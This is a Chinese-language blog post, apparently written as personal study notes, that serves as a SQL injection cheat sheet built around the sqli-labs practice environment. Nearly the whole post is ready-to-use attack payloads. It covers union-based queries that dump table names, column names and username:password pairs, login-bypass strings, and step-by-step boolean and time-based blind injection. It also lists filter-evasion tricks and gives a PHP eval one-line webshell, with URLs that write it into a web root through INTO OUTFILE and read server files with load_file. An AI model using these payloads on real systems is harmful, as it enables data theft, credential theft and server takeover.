sql注入

SQL手工注入:

第一步:先闭合

  index.php?id=1

首先尝试1、1'、1"、1)、1')、1")

然后用and 1=1、and 1=2检验是否闭合,别忘了最后要加上-- -

order by n-- -用来测试字段长度,如果报错则说明超出最大长度

 

然后?id =-1' (别忘了变成-1)union select 1,2,3-- -观察页面,决定在哪个位置回显当前数据库名字(大部分情况除了1都可以)

union select 1,2,database()-- -

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -(爆出当前数据库的所有表)

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='你要爆出的目标的名字'-- -(爆出目标表的列名)

union select 1,2,group_concat(username,0x3a,password) from 你要爆出的目标的名字-- -(爆出目标列的字段名字)

 

sql万能钥匙:

1'or'1'='1'#

'or‘1’='1#

'or 1= '1

 

 

sql盲注:

页面无回显,只知道条件对了和条件错了页面返回的数据不一样

所以既不能用报错注入,也不能用union查询

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

布尔盲注

1.判断注入点

and -1=-1  页面返回有数据

and -1=-2  页面无结果返回

==》存在SQL注入。

2. 判断当前页面字段总数

and -1=-1 order by 2 页面返回有数据

and -1=-2 order by 3 页面无结果返回

==》当前页面字段数为:2。

3.判断显示位

and -1=-2 union select 1,2 页面无结果返回

==》无回显点,应该是:盲注并且是布尔盲注(有明显的True和Flash)。

4.猜解当前数据库名称长度

and (length(database()))>11页面返回有数据

and (length(database()))>12页面无结果返回

==》当前数据库名称长度为:12。

5.用ASCII码猜解当前数据库名称

and ascii(substr(database(),1,1))=107 页面返回有数据

and ascii(substr(database(),2,1))=97 页面返回有数据

==》当前数据库 第一个字母是k,第二个字母是a...以此类推得到数据库库名是kanwolonxia。

注:判断ascii码范围不止是 ”=" 哦,还应该恰当使用 “>”,“<” 等符号。

6.猜表名

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108  页面返回有数据

==》表名的 第一个字母是 l ...然后以此类推得到 表名 loflag。

7.猜字段名

and (ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1,1)))=102   页面返回有数据

==》字段名的第一个字母是 f...类推得到字段名 flaglo。

8.猜内容 

and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122  页面返回有数据

==》得到数据的第一个字母是 z...类推得到 数据zKaQ-QQQ

 

 

时间盲注

1.判断注入点

"and -1=-1-- w  页面返回有数据

"and -1=-2-- w  页面返回有数据

==》页面的返回没有变化,可能是盲注;

然后用sleep()判断是否是时间盲注

"and sleep(5)-- w    页面延时了

==》该盲注是时间盲注。

2.猜解当前数据库名称长度

"and if((length(database()))=12,sleep(5),1)-- w  页面延时了

==》当前数据库名称长度为 12。

3.用ASCII码猜解当前数据库名称

"and if(ascii(substr(database(),1,1))=107,sleep(5),1)-- w  页面延时了

==》数据库第一个字母是k... 类推得到数据库名kanwolonxia。

后面的跟上面的差不多就是多了一个 if() 函数。

 

sql宽字节注入:

php在开启magic_guotes_gpc或者使用addslashes、iconv等函数时,单引号(')会被专一为\'

 

sql绕过:

绕过空格(/**/,%a0)

  括号绕过  and(1=1)

  双写

 

引号绕过(使用十六进制)

"users" = 0x7573657273

 

逗号绕过(使用fron或offset)

substr(database(),1,1)->select substr(database() from 1 for 1);

           select mid(database() from 1 for 1);

 

 

 

比较符号绕过  使用greatest()、least():(前者返回最大值,后者返回最小值)

select * from users where id =1 and ascii(substr(database(),0,1))>64

select * from users where id =1 and greatest(accii(substr(database(),0,1)),64)=64

当比较符号被过滤时,可以使用between and进行绕过

between a and z 返回a和z之间的数据,不包括z

 

绕过注释符号: #,-- -

可以选择通过闭合后面引号进行绕过

id=1' union select 1,2,3||'1

id=1' union select 1,2,'3

id=1' where '1'='1

id=1' and '1'='1

id=1' or'1'='1

select * from user where id='1' union select 1,2,3||'1' limit 0,1

 

 绕过union select where等

可以采用双写或大小写绕过

在步骤进行时,如果发现提示词有残缺,比如information提示为infmation,则双写or  变成  infoorrmation------即少什么双写什么

 

 

 

 

   

 一句话木马:

'<?php eval($_POST[自己任填]);?>'

手工写shell
http://192.168.43.43/sqli-labs-master/Less-1/?id=1' union select 1,'<?php eval($_POST[a]);?>',3 INTO OUTFILE 'C:/phpstudy_pro/WWW/99.php'-- -

手工读文件
http://192.168.43.43/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("C:/phpstudy_pro/WWW/2.php"),3-- -

 

 

  

 

posted @ 2021-09-09 22:33  aaawfss  阅读(153)  评论(0)    收藏  举报